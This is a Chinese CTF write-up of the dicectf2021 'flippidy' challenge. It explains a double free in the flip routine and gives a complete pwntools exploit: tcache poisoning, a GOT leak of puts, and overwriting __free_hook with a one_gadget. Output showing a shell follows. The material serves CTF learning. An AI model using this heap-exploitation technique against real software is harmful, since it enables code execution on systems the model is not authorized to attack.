一道简单的double free
dicectf2021_flippidy
分析
在flip时,如果书本页数是奇数数(例如7页),会依次调转0,6;1,5;2,4;3,3在调转3,3的时候就会造成double free。如下所示。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
   | for ( i = 0; i <= dword_404150 / 2; ++i ) {   memset(s, 0, sizeof(s));   memset(dest, 0, 0x40uLL);   v3 = 0;   v4 = 0;   if ( *((_QWORD *)qword_404158 + i) )   {     strcpy(s, *((const char **)qword_404158 + i));     free(*((void **)qword_404158 + i));   }   else   {     v3 = 1;   }   if ( *((_QWORD *)qword_404158 + dword_404150 - i - 1) )   {     strcpy(dest, *((const char **)qword_404158 + dword_404150 - i - 1));     free(*((void **)qword_404158 + dword_404150 - i - 1));   }
   | 
 
这里比较麻烦的一点就是double free之后还会对内存内容进行一些copy,会让堆结构变得很混乱。我也是经过调试最后解出来的。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
   | from pwn import * io = process('./flippidy') context.log_level='debug' elf=ELF('./flippidy') libc = ELF('./libc.so.6') context.terminal = ['tmux','split','-hp','60']
 
 
 
  def add(index,content):     io.recvuntil(':')     io.sendline(str(1))     io.sendlineafter('Index: ',str(index))     io.sendlineafter('Content: ',content)
  def flip():     io.recvuntil(':')     io.sendline(str(2))
  def debug_add():     gdb.attach(io,"b *0x4012D0")     add(0,'aa')
  def debug_menu():     gdb.attach(io,"b *0x401729")
 
  io.recvuntil('will be:') io.sendline(str(1)) 
 
  add(0,p64(0x404020)) flip() add(0,p64(elf.got['puts'])*4+p64(0x404158))
 
  puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) print("puts_addr: " + hex(puts_addr)) libc_base = puts_addr - libc.symbols['puts'] print("libc_base: " + hex(libc_base))
 
  add(0,p64(0x0)) add(0,p64(libc.symbols['__free_hook'] + libc_base)) add(0,p64(0)) add(0,p64(libc.symbols['__free_hook'] + libc_base)) og = [0x4f322,0x10a38c,0x4f2c5] add(0,p64(og[0]+libc_base)) flip()
  io.interactive()
 
   | 
 
success
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
   | [DEBUG] Received 0x20 bytes:     00000000  0a 0a c0 89  eb 38 6a 7f  0a c0 89 eb  38 6a 7f 0a  │····│·8j·│····│8j··│     00000010  c0 89 eb 38  6a 7f 0a c0  89 eb 38 6a  7f 0a 3a 20  │···8│j···│··8j│··: │     00000020 [DEBUG] Sent 0x2 bytes:     b'2\n' [*] Switching to interactive mode  $ ls [DEBUG] Sent 0x3 bytes:     b'ls\n' [DEBUG] Received 0x1e bytes:     b'flippidy  libc.so.6  solve.py\n' flippidy  libc.so.6  solve.py $  
 
   |